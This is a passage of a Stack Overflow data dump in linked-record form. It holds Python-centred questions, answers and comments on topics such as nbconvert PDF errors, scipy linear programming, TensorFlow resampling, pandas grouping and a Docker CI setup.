has body: I'm getting the error below when I try to download a jupyter notebook as a pdf on my mac. I installed pandoc and basicTex yesterday, could the issue be that I didn't install latex? Or is it some other issue? Can anyone suggest how to fix it? Error: nbconvert failed: PDF creating failed, captured latex output: This is pdfTeX, Version 3.14159265-2.6-1.40.18 (TeX Live 2017) (preloaded format=pdflatex) restricted \write18 enabled. entering extended mode (./notebook.tex LaTeX2e &lt;2017-04-15&gt; Babel &lt;3.10&gt; and hyphenation patterns for 22 language(s) loaded. (/usr/local/texlive/2017basic/texmf-dist/tex/latex/base/article.cls Document Class: article 2014/09/29 v1.4h Standard LaTeX document class (/usr/local/texlive/2017basic/texmf-dist/tex/latex/base/size11.clo)) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/base/fontenc.sty (/usr/local/texlive/2017basic/texmf-dist/tex/latex/base/t1enc.def)) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/psnfss/palatino.sty) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics/graphicx.sty (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics/keyval.sty) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics/graphics.sty (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics/trig.sty) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics-cfg/graphics.cfg) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/graphics-def/pdftex.def (/usr/local/texlive/2017basic/texmf-dist/tex/generic/oberdiek/infwarerr.sty) (/usr/local/texlive/2017basic/texmf-dist/tex/generic/oberdiek/ltxcmds.sty)))) (/usr/local/texlive/2017basic/texmf-dist/tex/latex/caption/caption.sty (/usr/local/texlive/2017basic/texmf-dist/tex/latex/caption/caption3.sty)) ! LaTeX Error: File `adjustbox.sty' not found. Type X to quit or &lt;RETURN&gt; to proceed, or enter new name. (Default extension: sty) Enter file name: ! Emergency stop. &lt;read *&gt; l.42 \usepackage {xcolor} % Allow colors to be defined^^M ! ==&gt; Fatal error occurred, …

http://stackoverflow.com/a/47315668
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81589860
answers question: http://stackoverflow.com/q/47298172
score: 3
has body: To give you an idea how bloated this will get with low-level tools like scipy's linprog as we have to mimic their standard-form: The basic idea is to: add an auxiliary-variable for the mean, like Erwin proposed add n-auxiliary-variables to handle the absolute values like documented in lpsolve's docs (and i'm using n-extra-aux-vars as temp-vars for x-mean) Now this example works. For your data you have to be careful in regards to the bounds. Make sure, the problem stays feasible. The problem itself is pretty unstable as hard-constraints are used for Ax=b; usually you would minimize some norm / least-squares here (no LP anymore; QP/SOCP) and add this error to the objective)! It might be needed to switch the solver from method='simplex' to method='interior-point' at some point (only available since scipy 1.0). Alternative: Using cvxpy, formulation is much easier (both variants mentioned) and you get quite a good solver (ECOS) for free. Code: import numpy as np import scipy.optimize as spo np.set_printoptions(linewidth=120) np.random.seed(1) """ Create random data """ M, N = 2, 3 A = np.random.random(size=(M,N)) x_hidden = np.random.random(size=N) b = A.dot(x_hidden) # target n = N print('Original A') print(A) print('hidden x: ', x_hidden) print('target: ', b) """ Optimize as LP """ def solve(A, b, n): print('Reformulation') am, an = A.shape # Introduce aux-vars # 1: y = mean # n: z = x - mean # n: abs(z) n_plus_aux_vars = 3*n + 1 # Equality constraint: y = mean eq_mean_A = np.zeros(n_plus_aux_vars) eq_mean_A[:n] = 1. / n eq_mean_A[n] = -1. eq_mean_b = np.array([0]) print('y = mean A:') print(eq_mean_A) print('y = mean b:') print(eq_mean_b) # Equality constraints: Ax = b eq_A = np.zeros((am, n_plus_aux_vars)) eq_A[:, :n] = A[:, :n] eq_b = np.copy(b) print('Ax=b A:') print(eq_A) print('Ax=b b:') print(eq_b) # Equality constraints: z = x - mean eq_mean_A_z = np.hstack([-np.eye(n), np.ones((n, 1)), + np.eye(n), np.zeros((n, n))]) eq_mean_b_z = np.zeros(n) print('z = x - me…
has comment: http://stackoverflow.com/comment/129602323
accepted answer of: http://stackoverflow.com/q/47298172
has comment: http://stackoverflow.com/comment/81585938
has comment: http://stackoverflow.com/comment/81618428
type: Answer
has comment: http://stackoverflow.com/comment/81590751
has comment: http://stackoverflow.com/comment/81619799
has comment: http://stackoverflow.com/comment/81586027
has comment: http://stackoverflow.com/comment/81594340
upvote count: 3
has comment: http://stackoverflow.com/comment/81590731
has comment: http://stackoverflow.com/comment/81592322
has comment: http://stackoverflow.com/comment/81612607
downvote count: 0

http://stackoverflow.com/q/47321366
has answer: http://stackoverflow.com/a/47322786
possible better answer: http://stackoverflow.com/a/47322786
tagged with: selenium
has title: Find all elements that start with 'button-'
type: Question
has body: I am using Selenium to try and get all ID elements that that start with "button-". What I have tried so far was to use regex to match the "button-" but I get an error stating that TypeError: Object of type 'SRE_Pattern' is not JSON serializable. My code so far is: all_btns = self.driver.find_elements_by_id(re.compile('^button-?')) But as mentioned that raises an error. What is the appropriate way of getting all elements when you don't know the full ID, class, css selector etc.?
type: AnsweredQuestion
score: 0
tagged with: python
has answer: http://stackoverflow.com/a/47321414
tagged with: regex
accepted answer: http://stackoverflow.com/a/47321414
answer count: 2

http://stackoverflow.com/q/47274753
linked to: http://stackoverflow.com/q/419163
favorite count: 0
type: Question
tagged with: function
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47275469
has comment: http://stackoverflow.com/comment/81500919
has title: Incorporating one code into another
has comment: http://stackoverflow.com/comment/81502473
has comment: http://stackoverflow.com/comment/81500830
score: 1
has body: I have an existing python script which contains a function ('function_1') and some other lines of code that execute function_1 at some point. Lets call this script 'code_a.py'. I now have another larger script ('code_b.py'). Within this script, I want code_a.py to run in its entirety. I'm trying to learn what the best way to do this would be. Obviously, I could just copy and paste the whole of code_a.py into the body of code_b.py - which seems like a terrible way of doing things. So I was thinking that at the beginning of code_b.py, I could do something like: import code_a But as I understand it, that would only import function_1 from code_a. So should I re-write the whole of code_a as a big function, so that it can be imported into code_b? Or am I thinking about this is the wrong way? Thanks.

http://stackoverflow.com/a/47379217
has comment: http://stackoverflow.com/comment/81710873
upvote count: 2
downvote count: 0
has body: setup( ... install_requires=[ "PyQt5; python_version &gt;= '3.0'", "python-qt5; python_version &lt; '3.0'", ] )
answers question: http://stackoverflow.com/q/47379036
type: Answer
score: 2

http://stackoverflow.com/comment/81445713
has text: how can i do that?
comment on: http://stackoverflow.com/q/47247644
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81468213
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47258292
has text: I think the question is on-topic as it is definitiely about programming (except *2.* - which method to use depends on the problem at hand and is probably not for programmers to answer). However, I'm sure the information you need is scattered around on this site and the documentation. I lack the time to go into more detail at the moment, but for starters have a look at [`curve_fit`](https://docs.scipy.org/doc/scipy-0.19.1/reference/generated/scipy.optimize.curve_fit.html) which may be easier to use in some cases.

http://stackoverflow.com/a/47236466
has comment: http://stackoverflow.com/comment/90722059
has comment: http://stackoverflow.com/comment/81657523
score: 14
has comment: http://stackoverflow.com/comment/81704056
has comment: http://stackoverflow.com/comment/94765109
downvote count: 1
upvote count: 15
has body: This problem has been solved in issue #14451. Just posting the anwser here to make it more visible to other developers. The sample code is oversampling low frequent classes and undersampling high frequent ones, where class_target_prob is just uniform distribution in my case. I wanted to check some conclusions from recent manuscript A systematic study of the class imbalance problem in convolutional neural networks The oversampling of specific classes is done by calling: dataset = dataset.flat_map( lambda x: tf.data.Dataset.from_tensors(x).repeat(oversample_classes(x)) ) Here is the full snippet which does all the things: # sampling parameters oversampling_coef = 0.9 # if equal to 0 then oversample_classes() always returns 1 undersampling_coef = 0.5 # if equal to 0 then undersampling_filter() always returns True def oversample_classes(example): """ Returns the number of copies of given example """ class_prob = example['class_prob'] class_target_prob = example['class_target_prob'] prob_ratio = tf.cast(class_target_prob/class_prob, dtype=tf.float32) # soften ratio is oversampling_coef==0 we recover original distribution prob_ratio = prob_ratio ** oversampling_coef # for classes with probability higher than class_target_prob we # want to return 1 prob_ratio = tf.maximum(prob_ratio, 1) # for low probability classes this number will be very large repeat_count = tf.floor(prob_ratio) # prob_ratio can be e.g 1.9 which means that there is still 90% # of change that we should return 2 instead of 1 repeat_residual = prob_ratio - repeat_count # a number between 0-1 residual_acceptance = tf.less_equal( tf.random_uniform([], dtype=tf.float32), repeat_residual ) residual_acceptance = tf.cast(residual_acceptance, tf.int64) repeat_count = tf.cast(repeat_count, dtype=tf.int64) return repeat_count + residual_acceptance def undersampling_filter(example): """ Computes if given example is rejected or not. """ class_prob = example['class_prob'] class_target_prob = example['class_target_prob…
has comment: http://stackoverflow.com/comment/94732020
has comment: http://stackoverflow.com/comment/96300925
type: Answer
has comment: http://stackoverflow.com/comment/96341655
answers question: http://stackoverflow.com/q/47236465

http://stackoverflow.com/comment/81729021
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47349426
score: 0
has text: Thanks for your comment. That's what I was afraid of. The all point of using tf.estimator was to avoid tf.Session() and building graph. Too bad there is no other way to do it.

http://stackoverflow.com/comment/81640999
type: AnswerComment
has text: @sloppytypist different approach. Pandas is the go to library in Python when dealing with tables.
type: Comment
comment on: http://stackoverflow.com/a/47337864
score: 0

http://stackoverflow.com/comment/81625786
type: Comment
type: AnswerComment
has text: Am guessing it is - this resembles output with OP's solution too.
comment on: http://stackoverflow.com/a/47336971
score: 1

http://stackoverflow.com/comment/81670921
type: QuestionComment
comment on: http://stackoverflow.com/q/47358952
has text: what you mean first 100 and so on ? 0-99 100-199 200-299?
score: 0
type: Comment

http://stackoverflow.com/comment/81406341
comment on: http://stackoverflow.com/a/47227863
score: 0
type: AnswerComment
has text: I should have explained better. The number "79924470" is different everytime. So I have a list that contains " " and I am trying to extract just the number.
type: Comment

sqlite
tags question: http://stackoverflow.com/q/47339082
tags question: http://stackoverflow.com/q/47322286
tags question: http://stackoverflow.com/q/47254206
tags question: http://stackoverflow.com/q/47242160
tags question: http://stackoverflow.com/q/47232012
tags question: http://stackoverflow.com/q/47333034
tags question: http://stackoverflow.com/q/47295708
tags question: http://stackoverflow.com/q/47230664
tags question: http://stackoverflow.com/q/47251335
tags question: http://stackoverflow.com/q/47256681
tags question: http://stackoverflow.com/q/47242660
type: Tag
tags question: http://stackoverflow.com/q/47255103
tags question: http://stackoverflow.com/q/47363499
tags question: http://stackoverflow.com/q/47281248
tags question: http://stackoverflow.com/q/47331410
tags question: http://stackoverflow.com/q/47327410
tags question: http://stackoverflow.com/q/47277393
tags question: http://stackoverflow.com/q/47357805
tags question: http://stackoverflow.com/q/47287609
tags question: http://stackoverflow.com/q/47269679
tags question: http://stackoverflow.com/q/47258615
tags question: http://stackoverflow.com/q/47247790
tags question: http://stackoverflow.com/q/47356264
tags question: http://stackoverflow.com/q/47237807
tags question: http://stackoverflow.com/q/47229350
tags question: http://stackoverflow.com/q/47238087
tags question: http://stackoverflow.com/q/47242814
tag name: sqlite
tags question: http://stackoverflow.com/q/47250220
tags question: http://stackoverflow.com/q/47341470
tags question: http://stackoverflow.com/q/47225583

http://stackoverflow.com/comment/81585783
score: 0
has text: @MichaelBarrus; Sorry - I don't know anything about pandas. I suspect if you are already using pandas it has its own groupby.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47271603

http://stackoverflow.com/q/47294554
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81540779
type: UnansweredQuestion
has body: I have been using web.py recently to try and create an web app, an issue became apparent that we did not have a way of creating multiple sessions, I have tried using beaker (https://github.com/bbangert/beaker) to manage the multiple sessions, but now I have run into an issue of rendering the home page, does anyone have an idea of how to fix this? the error we continue to get is " BLAH BLAH BLAH BLAH Traceback (most recent call last): File "/usr/local/lib/python3.4/dist-packages/web/application.py", line 257, in process return self.handle() File "/usr/local/lib/python3.4/dist-packages/web/application.py", line 248, in handle return self._delegate(fn, self.fvars, args) File "/usr/local/lib/python3.4/dist-packages/web/application.py", line 488, in _delegate return handle_class(cls) File "/usr/local/lib/python3.4/dist-packages/web/application.py", line 466, in handle_class return tocall(*args) File "app.py", line 92, in GET return render.Home() AttributeError: 'NoneType' object has no attribute 'Home' " import web import datetime from beaker.middleware import SessionMiddleware from Models import RegisterModel, LoginModel, Posts web.config.debug = False urls = ( '/', 'Home', "/register", "Register", "/postreg", "PostRegistration", '/login', 'Login', '/check-login', "CheckLogin", '/logout', 'Logout', '/post-activity', 'PostActivity', '/profile', 'Profile', '/settings', 'Settings', '/update-user', 'UpdateSettings', '/admin', 'Admin' ) t_globals = { 'datestr': web.datestr, 'str': str, 'datetime': datetime } app = web.application(urls, globals()) session = web.session.Session(app, web.session.DiskStore("sessions"),initializer={"user":None}) session_data = session._initializer render = web.template.render("Views/Templates", base="MainLayout", globals={"session":session_data, "current_user": session_data["user"]}) # beaker options are optional.... but it's good to see # where they are called session_opts = { 'session.cookie_expires': True, 'session.timeout' : 600, 'session.sec…
has title: web.py & beaker python app. page render issues
tagged with: python
answer count: 0
score: 1
downvote count: 0
upvote count: 1
tagged with: web.py
has comment: http://stackoverflow.com/comment/81573156
favorite count: 0
tagged with: beaker
type: Question

http://stackoverflow.com/q/47347407
has body: I have a Python script that transfers data to/from a USB HID device on a Windows 7 PC. If I start the script it gets normal priority. In this case there are time intervals of about 8ms between transfers on the USB bus, which I monitor using the Free Device Monitoring Studio. When I set the priority of the Python process to 'High' in the Windows Task Manager, the intervals get reduced to 4..5ms. Is there a way to further reduce this interval? (Unfortunately the priority of the Python process can't be set to 'Realtime' - system refuses to do so.) Thanks for any help! Regards, Gerhard
tagged with: hid
type: Question
has comment: http://stackoverflow.com/comment/81726722
has comment: http://stackoverflow.com/comment/81726774
type: UnansweredQuestion
tagged with: usb
has comment: http://stackoverflow.com/comment/81649858
tagged with: python
score: 0
tagged with: windows-7
has title: Reduce HID time interval
has comment: http://stackoverflow.com/comment/81649795
answer count: 0

http://stackoverflow.com/comment/81630471
comment on: http://stackoverflow.com/q/47339094
has text: Also the username array stays empty forever, so when you try to check `username_array[i]` you'll always be past the end of the array.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47282447
answer count: 2
has title: How make modeling from train and test data?
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81518477
score: 0
has answer: http://stackoverflow.com/a/47284110
tagged with: pandas
has answer: http://stackoverflow.com/a/47283625
has comment: http://stackoverflow.com/comment/81517036
upvote count: 1
has body: I have data in the order file, #split into train and test sets X = DataFrame.values train_size = int(len(X)*0.66) train, test = X[1:train_size], X[train_size:] train_X, train_y = train[:,0], train[:,1] test_X, test_y = test[:,0], test[:,1] I want train_data to test data in different files by calling. def test(learning_rate=0.1, k=1, training_epochs=15): print ('... loading data') datasets = ('book-sales.csv') train_X, train_y = datasets[0] test_X, test_y = datasets[0] print ('... modeling') rbm = RBM(input=train_X, n_visible=28 * 28, n_hidden=500) I tried but I found this message. train_X, train_y = datasets[0] ValueError: not enough values to unpack (expected 2, got 1) How should I write it?
downvote count: 1
has comment: http://stackoverflow.com/comment/81517453
has comment: http://stackoverflow.com/comment/81517321
has comment: http://stackoverflow.com/comment/81517109
favorite count: 0
type: Question

http://stackoverflow.com/comment/81712910
type: AnswerComment
score: 1
type: Comment
has text: Putting the "result" variable inside the arguments was a mistake, instead I had to declare and and reinitialize it ouside of my if statement, but inside of my function.
comment on: http://stackoverflow.com/a/47275326

http://stackoverflow.com/q/47373219
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: python
has body: I have an unlabeled dataset which contains 101 columns i.e. no column have any heading, now I want to start reading from column 2 to end i.e. 101th column. I am trying with this code : data = np.loadtxt('structure-safety.inp', usecols = [2, 101]) or data = pd.read_fwf('structure-safety.inp', usecols = [2,1,101]) I also tried with usecols = [2, :], [2:101] or used () instead of [] but in vain, can anyone help me here with this problem.
tagged with: numpy
tagged with: python-3.x
has title: Reading a text file with Numpy/Pandas in Python
answer count: 1
has answer: http://stackoverflow.com/a/47373234
type: Question
accepted answer: http://stackoverflow.com/a/47373234

http://stackoverflow.com/q/47260571
upvote count: 11
type: Question
has comment: http://stackoverflow.com/comment/81472128
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47260884
score: 8
has comment: http://stackoverflow.com/comment/81472073
type: UnansweredQuestion
has body: I wanted read a image using PIL.Image.open().But I've image in different path. The following is the path I've the python script "D:\YY_Aadhi\holy-edge-master\hed\test.py" The following is the path I've the image file. "D:\YY_Aadhi\HED-BSDS\test\2018.jpg" from PIL import Image '''some code here''' image = Image.open(????) How should I fill the question mark to access the image file.
has comment: http://stackoverflow.com/comment/81472104
tagged with: python
has answer: http://stackoverflow.com/a/73180506
has answer: http://stackoverflow.com/a/77663789
has comment: http://stackoverflow.com/comment/81472081
answer count: 4
favorite count: 0
linked to: http://stackoverflow.com/q/19230991
has answer: http://stackoverflow.com/a/47260626
tagged with: python-imaging-library
has title: How do i read image using PILLOW image?
downvote count: 3

http://stackoverflow.com/q/47318908
tagged with: python-multiprocessing
linked to: http://stackoverflow.com/q/11367835
has comment: http://stackoverflow.com/comment/81589114
has comment: http://stackoverflow.com/comment/81589884
has comment: http://stackoverflow.com/comment/81609803
has comment: http://stackoverflow.com/comment/81589287
downvote count: 2
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81589318
favorite count: 0
type: Question
has title: Combining python's multiprocessing module with a prime number function
has comment: http://stackoverflow.com/comment/81623620
has comment: http://stackoverflow.com/comment/81588991
has comment: http://stackoverflow.com/comment/81589233
has comment: http://stackoverflow.com/comment/81589327
has answer: http://stackoverflow.com/a/47334574
type: UnansweredQuestion
tagged with: python
score: -1
has body: I am using the python multiprocessing/pool module to compare program running times of a function that checks if a number is a prime. I can get the prime function to work by itself, but can't seem to merge the two so they work together. The pool function below: import math import time import multiprocessing from multiprocessing import Pool def pool_process(f,data,pool_size): tp1 = time.time() pool = Pool(processes = pool_size) result = pool.map(f, data) pool.close() pool.join() #enter code here print("Results", result) print("Overall Time:", (time.time()-tp1)) The function I am using to check if a number is a prime is the following: def check_prime(num): t1 = time.time() res = False if num &gt; 0: for i in range(2,num): if (num % i) == 0: print(num,"is not a prime number") print(i,"times",num//i,"is",num) print("Time:", (time.time()-t1)) break else: print(num,"is a prime number") print("Time:", time.time()-t1) res = True return res Then I am calling the pool_process function data = 15488801 pool_process(check_prime, data, 1) And I am getting the following error: 'int' object is not iterable

http://stackoverflow.com/comment/81451472
score: 0
has text: Hard to telle that way. Have you tried to convert your desc variable to string `str(desc)` ?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47250571

http://stackoverflow.com/comment/81602672
score: 0
type: Comment
has text: Most likely that was the problem. I will now try with the direct link.
comment on: http://stackoverflow.com/a/47325566
type: AnswerComment

http://stackoverflow.com/a/50707980
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47227708
has body: I had the same problem. The solution was to use a different backend in cases I used wxPython GUI. matplotlib.use('WxAgg') of you might need to add a line plt.show(block = True) if you want to just plot a graph. See here for a very similar problem. Matplotlib fails and hangs when plotting in interactive mode

http://stackoverflow.com/q/47381285
type: Question
tagged with: python-3.x
upvote count: 0
tagged with: python
score: -1
has body: I'm learning python and also english. And I have a problem that might be easy, but I can't solve it. I have a folder of .txt's, I was able to extract by regular expression a sequence of numbers of each one.I need to rename each file with the sequence I extracted from .txt import os import re path_txt = (r'C:\Users\usuario\Desktop\files') name_files = os.listdir(path_txt) for TXT in name_files: with open(path_txt + '\\' + TXT, "r") as content: search = re.search(r'(([0-9]{4})(/)(([1][9][0-9][0-9])|([2][0-9][0-9][0-9])))', content.read()) if search is not None: os.rename(os.path.join(path_txt, TXT), os.path.join("Processos3", search.group(0) + "_" + str(random.randint(100, 999)) + ".txt")) some sequences have characters like "/", so when I use "rename" it returns an error because I can not rename files with this type of character. How do I delete the "/" before I rename the file? ps: using python 3
accepted answer: http://stackoverflow.com/a/47381415
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47381415
has title: remove characters before renaming
answer count: 1
has comment: http://stackoverflow.com/comment/81714953
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/47307048
possible better answer: http://stackoverflow.com/a/47307113
type: Question
has answer: http://stackoverflow.com/a/47307113
has title: Remove commas in list and make a sentence with list items
linked to: http://stackoverflow.com/q/12453580
accepted answer: http://stackoverflow.com/a/47307055
tagged with: python
has answer: http://stackoverflow.com/a/47307055
type: AnsweredQuestion
tagged with: python-2.7
score: 0
answer count: 2
duplicate of: http://stackoverflow.com/q/12453580
has body: So basically I have a list with 4 items. list = ['My', 'name', 'is', 'mike'] What I want to do is to remove the commas that split the items and make one string. The removed commas should be replaced with space. What I have seen so far is the replace method for string's. I have been wondering if there is something similar for lists.

http://stackoverflow.com/a/47296416
has body: You can use groupby size and then the nlargest method: In [11]: df.groupby("only_latin_brands").size() Out[11]: only_latin_brands OPPO 1 aiyouni 1 coolpad 1 huawei 5 meizu 1 samsung 9 vivo 1 xiaomi 11 dtype: int64 In [12]: df.groupby("only_latin_brands").size().nlargest(2) Out[12]: only_latin_brands xiaomi 11 samsung 9 dtype: int64 Then use isin to filter out just those rows: In [13]: df[df["only_latin_brands"].isin(df.groupby("only_latin_brands").size().nlargest(2).index)] Out[13]: latin_brands group phone_brand_chinese_match only_latin_brands 0 xiaomi M32-38 小米 xiaomi 1 xiaomi M32-38 小米 xiaomi 2 xiaomi M32-38 小米 xiaomi 3 xiaomi M29-31 小米 xiaomi 4 xiaomi M29-31 小米 xiaomi 7 xiaomi M32-38 小米 xiaomi 9 samsung F33-42 三星 samsung 12 samsung F27-28 三星 samsung 16 xiaomi M32-38 小米 xiaomi 17 xiaomi M32-38 小米 xiaomi 19 xiaomi M32-38 小米 xiaomi 20 samsung F33-42 三星 samsung 21 xiaomi M23-26 小米 xiaomi 23 samsung M27-28 三星 samsung 24 xiaomi M29-31 小米 xiaomi 25 samsung M32-38 三星 samsung 26 samsung M32-38 三星 samsung 27 samsung F33-42 三星 samsung 28 samsung M32-38 三星 samsung 29 samsung M32-38 三星 samsung Now you can do the plot...
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47296180
score: 1
type: Answer

http://stackoverflow.com/q/47266495
has title: Can not connect to the container based on postgres
tagged with: python
tagged with: docker
has body: I am new to docker container. I am trying to unit test my Flask application on Circle CI automatically. However it can not connect to postgres container. It works in my local computer (macOS Sierra). Let me know if you need more information to solve this issue. Thank you!! docker-compose.yml version: '3' services: web: container_name: web build: ./web ports: - "5000:5000" depends_on: - postgres volumes: - ./web/.:/app tty: true postgres: container_name: postgres build: ./db ports: - "5432:5432" config.yml version: 2 jobs: build: machine: true working_directory: ~/repo steps: - checkout - run: name: Install Docker Compose command: | sudo curl -L https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose - run: name: Start container and veryfy it's working command: | set -x cd ~/repo/docker docker-compose up --build -d - run: name: Run test command: | cd ~/repo/docker docker-compose run web python tests/test_therapies.py Circle Ci build log connection = pool._invoke_creator(self) File "/usr/local/lib/python3.6/site-packages/sqlalchemy/engine/strategies.py", line 105, in connect return dialect.connect(*cargs, **cparams) File "/usr/local/lib/python3.6/site-packages/sqlalchemy/engine/default.py", line 393, in connect return self.dbapi.connect(*cargs, **cparams) File "/usr/local/lib/python3.6/site-packages/psycopg2/__init__.py", line 130, in connect conn = _connect(dsn, connection_factory=connection_factory, **kwasync) sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) could not connect to server: Connection refused Is the server running on host "postgres" (172.18.0.2) and accepting TCP/IP connections on port 5432? ---------------------------------------------------------------------- Ran 1 test in 0.025s FAILED (errors=1) Exited with code 1
has comment: http://stackoverflow.com/comment/81528195
tagged with: postgresql
score: 0
tagged with: docker-compose
answer count: 1
type: Question
has answer: http://stackoverflow.com/a/47378186
type: UnansweredQuestion

http://stackoverflow.com/comment/81432347
has text: I've done an edit to show you what I meant about putting a counter in the `while` loop.
comment on: http://stackoverflow.com/a/47230823
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81519358
comment on: http://stackoverflow.com/a/47283916
type: Comment
score: 0
type: AnswerComment
has text: Just used your basic formula btw.

http://stackoverflow.com/comment/81445924
has text: Nice one, but I'd also use list [] for output, append and glue with join. And declaring variables on same row and not using row break for if statements creates lower readability in my opinion.
score: 0
comment on: http://stackoverflow.com/a/47247774
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47342238
tagged with: python
has body: My goal is to profile just some functions in a while loop, into ONE output. For convenience let's say these functions are in one class. Say I have the following code, just two separate classes accessed in a while loop: class MyClass1: def func1(self): #stuff class MyClass2: def func1(self): #stuff count = 0 while count &lt; 100 count += 1 c1 = MyClass1() c1.func1() c2 = Myclass2() c2.func1() Obviously these are just examples. In real life each class will have hundreds of methods, there will be many more classes created in the while loop, and count could be up to one million. I want to profile the functions/methods of class2, not class1, in one nice, readable output (whether file or console). Other Stack Overflow answers do not do this. Doing profiling a method of a class in Python using cProfile? and How can you profile a script? will print 100+ separate outputs. how can I profile class methods of my python app? seems to ask the same question but the answer is incomplete. PyCharm's profile will profile everything, drowning the output I want, and saying the functions I want to profile take 0.000 seconds Any help is appreciated.
score: 0
linked to: http://stackoverflow.com/q/582336
tagged with: cprofile
answer count: 0
has comment: http://stackoverflow.com/comment/95062766
has comment: http://stackoverflow.com/comment/81692431
has comment: http://stackoverflow.com/comment/81637406
has title: How do I profile a class in python, combining profiles?
linked to: http://stackoverflow.com/q/11358963
type: Question
tagged with: profile
linked to: http://stackoverflow.com/q/4492535
type: UnansweredQuestion

http://stackoverflow.com/q/47372731
tagged with: odoo
score: 1
tagged with: odoo-8
tagged with: python
has body: I'm trying to look for qty_available of a product into a specified partner location, I have three Many2one fields to res.partner, printer_book_block = fields.Many2one('res.partner', string="Printer Book Block") printer_binding = fields.Many2one('res.partner', string="Printer Binding") printer_edging = fields.Many2one('res.partner', string="Printer Edging") So, on the lines of this model I should look for those quantities, depending on which res.partner Many2one has been selected: order_lines = fields.One2many('bsi.print.order.lines', 'print_order', string="Order lines") @api.multi @api.constrains('order_lines', 'order_lines.isbn') def check_quantity(self): location = self.printer_book_block.property_stock_supplier.id for rec in self: if rec.order_lines: for line in rec.order_lines: if line.qty &gt; line.isbn.qty_available in location: rec.write({'state': 'awaitingraw'}) else: rec.write({'state': 'work_in_progress',},) This method should look for qty_available on printer_book_block.property_stock_supplier, but it seems like it doesn't really look for that particular location. The field property_stock_supplier is a field which is part of res.partner model, and it specifies the location for every partner as supplier on the system. Also, how can I specify if one res.partner has been selected to look specifically for it? Any ideas? PS = isbn is a Many2one to product.product.
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/47374781
answer count: 1
has title: Look for product quantities on a specific res.partner location - Odoo v8
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47374781

http://stackoverflow.com/a/47332372
downvote count: 0
has comment: http://stackoverflow.com/comment/81742655
has body: Let's use groupby with transform and assign: g = df.groupby('Staff_ID')['Time_Stamp'] df.assign(Min_Time_Stamp = g.transform(min), Max_Time_Stamp = g.transform(max)) Output: Staff_ID Join_Date Time_Stamp Max_Time_Stamp Min_Time_Stamp 1 1 3/29/2016 4/23/2016 6/21/2016 3/29/2016 2 1 3/29/2016 3/29/2016 6/21/2016 3/29/2016 3 1 3/29/2016 6/21/2016 6/21/2016 3/29/2016 4 2 5/15/2016 4/1/2016 5/25/2016 4/1/2016 5 2 5/15/2016 5/25/2016 5/25/2016 4/1/2016 6 3 7/24/2016 6/21/2016 6/21/2016 4/21/2016 7 3 7/24/2016 6/10/2016 6/21/2016 4/21/2016 8 3 7/24/2016 4/21/2016 6/21/2016 4/21/2016 Timings: @CarlesMitjans method: 10 loops, best of 3: 33.3 ms per loop @ScottBoston method: 100 loops, best of 3: 5.52 ms per loop
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47324699

http://stackoverflow.com/comment/81694685
comment on: http://stackoverflow.com/q/47361468
type: QuestionComment
score: 0
type: Comment
has text: Push yourself :) I can recommend it. Walked the same path and do not regret it

http://stackoverflow.com/comment/102804231
has text: `my_int_and_4()` method call leads to an error: `AttributeError: 'A' object has no attribute 'adder'`. It should be `self._adder(...)`.
type: AnswerComment
comment on: http://stackoverflow.com/a/47382321
score: 1
type: Comment

http://stackoverflow.com/comment/81625263
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47336762
has text: Wonderful, I knew there was a good solution with repeat, but this nailed it.
type: Comment

http://stackoverflow.com/q/47233663
linked to: http://stackoverflow.com/q/4432208
has answer: http://stackoverflow.com/a/47233698
tagged with: list
answer count: 3
upvote count: 1
has body: I am trying to write even numbers upto a limit into a list in Python using the following code def odd_count(n): arr = list(50) for i in range(0,n,2): arr[i] = i return arr I am gettting an error sayng TypeError: 'int' object is not iterable. What is wrong in this code? How can I fix it?
downvote count: 3
has comment: http://stackoverflow.com/comment/81418040
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47233727
type: UnansweredQuestion
score: -2
tagged with: python
has answer: http://stackoverflow.com/a/47233694
has title: Writing odd numbers to array in Python

http://stackoverflow.com/comment/81617202
type: Comment
comment on: http://stackoverflow.com/a/47332342
type: AnswerComment
has text: Not any I would know about :) You are not setting, just getting.
score: 0

http://stackoverflow.com/q/47308229
tagged with: function
answer count: 0
downvote count: 0
tagged with: pickle
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81567949
tagged with: object
has comment: http://stackoverflow.com/comment/81566832
